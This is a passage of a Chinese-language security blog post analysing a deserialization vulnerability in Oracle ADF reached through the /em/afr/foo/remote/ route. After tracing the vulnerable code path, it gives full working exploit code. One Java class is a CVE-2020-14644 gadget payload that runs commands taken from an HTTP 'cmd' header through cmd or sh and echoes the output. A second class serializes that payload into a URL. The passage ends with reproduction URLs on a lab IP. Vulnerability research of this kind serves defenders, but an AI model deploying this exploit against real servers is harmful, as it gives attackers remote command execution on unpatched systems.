0.1em;">当路由为/em/afr/foo/remote/payload时，会由<code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(221, 17, 68);line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 12.6px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;white-space: normal;">RemoteApplicationResourceLoader</code>作为doGet中的loader，调用其oracle.adfinternal.view.resource.rich.RemoteApplicationResourceLoader#findResource函数<img class="rich_pages wxw-img" data-backh="134" data-backw="562" data-galleryid="" data-ratio="0.2391891891891892" data-s="300,640" style="text-align: center;letter-spacing: normal;width: 100%;" data-type="png" data-w="740" src="https://wechat2rss.xlab.app/img-proxy/?k=aa5ad762&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeiboQ1IWgFMcdKTzoJjIoRUpEVK5bcV4MCrJuLRqYTKpueicpXoalLnnfzVxqhsN8XSEicZsxiahD2LO2Q%2F640%3Fwx_fmt%3Dpng"/></p><figure style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><figcaption style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: center;color: rgb(136, 136, 136);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;">image.png</figcaption></figure><p style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.1em;">返回了一个自定义的协议remote和协议处理器RAStreamHandler</p><figure style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><figcaption style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: center;color: rgb(136, 136, 136);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;"><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="209" data-backw="562" data-galleryid="" data-ratio="0.37261698440207974" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="577" src="https://wechat2rss.xlab.app/img-proxy/?k=d87b3903&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeiboQ1IWgFMcdKTzoJjIoRUpEPxD9KBibdoiaU9jZBBqdRTbvg8j1KDm1Fx2WepWzY7aaOIUtWt11PXEA%2F640%3Fwx_fmt%3Dpng"/></p><br/></figcaption><figcaption style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: center;color: rgb(136, 136, 136);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;">image.png</figcaption></figure><p style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.1em;">RAStreamHandler的openConnection返回一个RAURLConnection实例对象，在其构造函数中</p><figure style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><figcaption style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: center;color: rgb(136, 136, 136);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;"><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="92" data-backw="418" data-galleryid="" data-ratio="0.22009569377990432" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="418" src="https://wechat2rss.xlab.app/img-proxy/?k=c26c9f95&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeiboQ1IWgFMcdKTzoJjIoRUpEd2Dh8pcqibAnId0enJUfv3fFREiaRkVEYb7wYkqRSshxpP2x7bibG1IxA%2F640%3Fwx_fmt%3Dpng"/></p></figcaption></figure><p style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.1em;">调用_getPathBean</p><figure style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="120" data-backw="562" data-galleryid="" data-ratio="0.21382636655948553" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="622" src="https://wechat2rss.xlab.app/img-proxy/?k=83fea64a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeiboQ1IWgFMcdKTzoJjIoRUpExZcQ0MCWDiagcy5cGtdqOX9wOzqcENUiav9LrTkjwE7VZTEiaXq0FpagA%2F640%3Fwx_fmt%3Dpng"/></p><figcaption style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: center;color: rgb(136, 136, 136);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;">image.png</figcaption></figure><p style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.1em;">截取到第一个<code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(221, 17, 68);line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 12.6px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;white-space: normal;">/</code>然后进入<code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(221, 17, 68);line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 12.6px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;white-space: normal;">oracle.adfinternal.view.rich.remote.resources.URLEncoderPathBean#getInstanceFromString</code></p><figure style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="130" data-backw="562" data-galleryid="" data-ratio="0.23088235294117648" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="680" src="https://wechat2rss.xlab.app/img-proxy/?k=4efcd661&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeiboQ1IWgFMcdKTzoJjIoRUpEic3I6mwlttibrZIDXk33WhARfIYpzW0XljU2fHqYUyLzN7w9YXu7vOEQ%2F640%3Fwx_fmt%3Dpng"/></p><figcaption style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: center;color: rgb(136, 136, 136);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;">image.png</figcaption></figure><p style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.1em;">不断跟进之后就是readObject</p><figure style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="264" data-backw="562" data-galleryid="" data-ratio="0.46897374701670647" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="838" src="https://wechat2rss.xlab.app/img-proxy/?k=47568c4c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeiboQ1IWgFMcdKTzoJjIoRUpExGeBbTicTtl9yahdBeNJQF6D0xibR9WXQ4jXvqptfibBVzIyuFOJLUVkQ%2F640%3Fwx_fmt%3Dpng"/></p><figcaption style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: center;color: rgb(136, 136, 136);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;">image.png</figcaption></figure><p style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.1em;">说明我们可以通过/em/afr/foo/remote/{encode payload}/的形式来反序列化。</p><p style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.1em;">gadget可以用CVE-2020-14644，这里放payload。</p><p style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.1em;">回显执行命令</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="swift"><code><span class="code-snippet_outer">package com.tangosol.<span class="code-snippet__keyword">internal</span>.util.invoke.lambda;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> com.tangosol.internal.util.invoke.AbstractRemotable;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">LambdaIdentity$E12ECA49F06D0401A9D406B2DCC7463A</span> <span class="code-snippet__title">extends</span> <span class="code-snippet__title">AbstractRemotable</span> </span>{</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">public</span> <span class="code-snippet__type">LambdaIdentity</span>$<span class="code-snippet__type">E12ECA49F06D0401A9D406B2DCC7463A</span>() {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">            weblogic.work.<span class="code-snippet__type">WorkAdapter</span> adapter = ((weblogic.work.<span class="code-snippet__type">ExecuteThread</span>) <span class="code-snippet__type">Thread</span>.currentThread()).getCurrentWork();</span></code><code><span class="code-snippet_outer">            java.lang.<span class="code-snippet__built_in">reflect</span>.<span class="code-snippet__type">Field</span> field = adapter.getClass().getDeclaredField(<span class="code-snippet__string">&#34;connectionHandler&#34;</span>);</span></code><code><span class="code-snippet_outer">            field.setAccessible(<span class="code-snippet__literal">true</span>);</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__type">Object</span> obj = field.<span class="code-snippet__keyword">get</span>(adapter);</span></code><code><span class="code-snippet_outer">            weblogic.servlet.<span class="code-snippet__keyword">internal</span>.<span class="code-snippet__type">ServletRequestImpl</span> req = (weblogic.servlet.<span class="code-snippet__keyword">internal</span>.<span class="code-snippet__type">ServletRequestImpl</span>) obj.getClass().getMethod(<span class="code-snippet__string">&#34;getServletRequest&#34;</span>).invoke(obj);</span></code><code><span class="code-snippet_outer">            weblogic.servlet.<span class="code-snippet__keyword">internal</span>.<span class="code-snippet__type">ServletResponseImpl</span> res = (weblogic.servlet.<span class="code-snippet__keyword">internal</span>.<span class="code-snippet__type">ServletResponseImpl</span>) obj.getClass().getMethod(<span class="code-snippet__string">&#34;getServletResponse&#34;</span>).invoke(obj);</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__type">String</span> cmd = req.getHeader(<span class="code-snippet__string">&#34;cmd&#34;</span>);</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> (cmd != null &amp;&amp; !cmd.isEmpty()) {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__type">Process</span> exec;</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">if</span> (<span class="code-snippet__type">System</span>.getProperty(<span class="code-snippet__string">&#34;os.name&#34;</span>).toLowerCase().<span class="code-snippet__built_in">contains</span>(<span class="code-snippet__string">&#34;win&#34;</span>)) {</span></code><code><span class="code-snippet_outer">                    exec = <span class="code-snippet__type">Runtime</span>.getRuntime().exec(new <span class="code-snippet__type">String</span>[]{<span class="code-snippet__string">&#34;cmd&#34;</span>, <span class="code-snippet__string">&#34;/c&#34;</span>, cmd});</span></code><code><span class="code-snippet_outer">                } <span class="code-snippet__keyword">else</span> {</span></code><code><span class="code-snippet_outer">                    exec = <span class="code-snippet__type">Runtime</span>.getRuntime().exec(new <span class="code-snippet__type">String</span>[]{<span class="code-snippet__string">&#34;sh&#34;</span>, <span class="code-snippet__string">&#34;-c&#34;</span>, cmd});</span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer">                res.getServletOutputStream().clearBuffer();</span></code><code><span class="code-snippet_outer">                res.getServletOutputStream().writeStream(exec.getInputStream());</span></code><code><span class="code-snippet_outer">                res.getServletOutputStream().flush();</span></code><code><span class="code-snippet_outer">                res.getServletOutputStream().close();</span></code><code><span class="code-snippet_outer">                res.flushBuffer();</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">catch</span> (<span class="code-snippet__type">Exception</span> var1) {</span></code><code><span class="code-snippet_outer">            var1.printStackTrace();</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.1em;">生成payload</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="swift"><code><span class="code-snippet_outer">package com.example.miracle;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> com.tangosol.internal.util.invoke.ClassDefinition;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> com.tangosol.internal.util.invoke.ClassIdentity;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> com.tangosol.internal.util.invoke.RemoteConstructor;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> com.tangosol.internal.util.invoke.lambda.LambdaIdentity;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> oracle.adf.view.rich.util.SerializationUtils;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.nio.file.Files;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.nio.file.Paths;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">Main</span> </span>{</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> void main(<span class="code-snippet__type">String</span>[] args) <span class="code-snippet__keyword">throws</span> <span class="code-snippet__type">Exception</span> {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__type">RemoteConstructor</span> remoteConstructor = new <span class="code-snippet__type">RemoteConstructor</span>(</span></code><code><span class="code-snippet_outer">                new <span class="code-snippet__type">ClassDefinition</span>(new <span class="code-snippet__type">ClassIdentity</span>(<span class="code-snippet__type">LambdaIdentity</span>.<span class="code-snippet__keyword">class</span>), <span class="code-snippet__type">Files</span>.readAllBytes(<span class="code-snippet__type">Paths</span>.<span class="code-snippet__keyword">get</span>(<span class="code-snippet__string">&#34;E:\\tools\\code\\Miracle\\target\\classes\\com\\tangosol\\internal\\util\\invoke\\lambda\\LambdaIdentity$E12ECA49F06D0401A9D406B2DCC7463A.class&#34;</span>))), new <span class="code-snippet__type">Object</span>[]{}</span></code><code><span class="code-snippet_outer">        );</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__type">String</span> s = <span class="code-snippet__type">SerializationUtils</span>.toURLEncodedString(remoteConstructor);</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__type">System</span>.out.<span class="code-snippet__built_in">println</span>(s);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.1em;">回显复现截图</p><p style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.1em;"><a href="http://172.16.16.132:9500/em/afr/foo/remote/" target="_blank">http://172.16.16.132:9500/em/afr/foo/remote/</a></p><figure style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="304" data-backw="562" data-galleryid="" data-ratio="0.5416666666666666" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=abaf2093&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeiboQ1IWgFMcdKTzoJjIoRUpETY4MyLCxTl9aLkbRWgD5QdqtykKV09QtCXgrENdTlzgjqlF0lGWw0A%2F640%3Fwx_fmt%3Dpng"/></p><figcaption style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: center;color: rgb(136, 136, 136);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;">image.png</figcaption></figure><p style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.1em;"><a href="http://172.16.16.132:9502/bicomposer/afr/foo/remote/" target="_blank">http://172.16.16.132:9502/bicomposer/afr/foo/remote/</a><img class="rich_pages wxw-img" data-backh="304" data-backw="562" data-galleryid="" data-ratio="0.5416666666666666" data-s="300,640" style="text-align: center;letter-spacing: normal;width: 100%;height: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=41829ffa&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeiboQ1IWgFMcdKTzoJjIoRUpEfTO1S2qjkXPLNuOrxe2kAC5yiaEzubBXpfz2mkZLE4cVQV3uQ47MQsg%2F640%3Fwx_fmt%3Dpng"/></p><figure style="box-sizing: border-box;margin: 1.5em 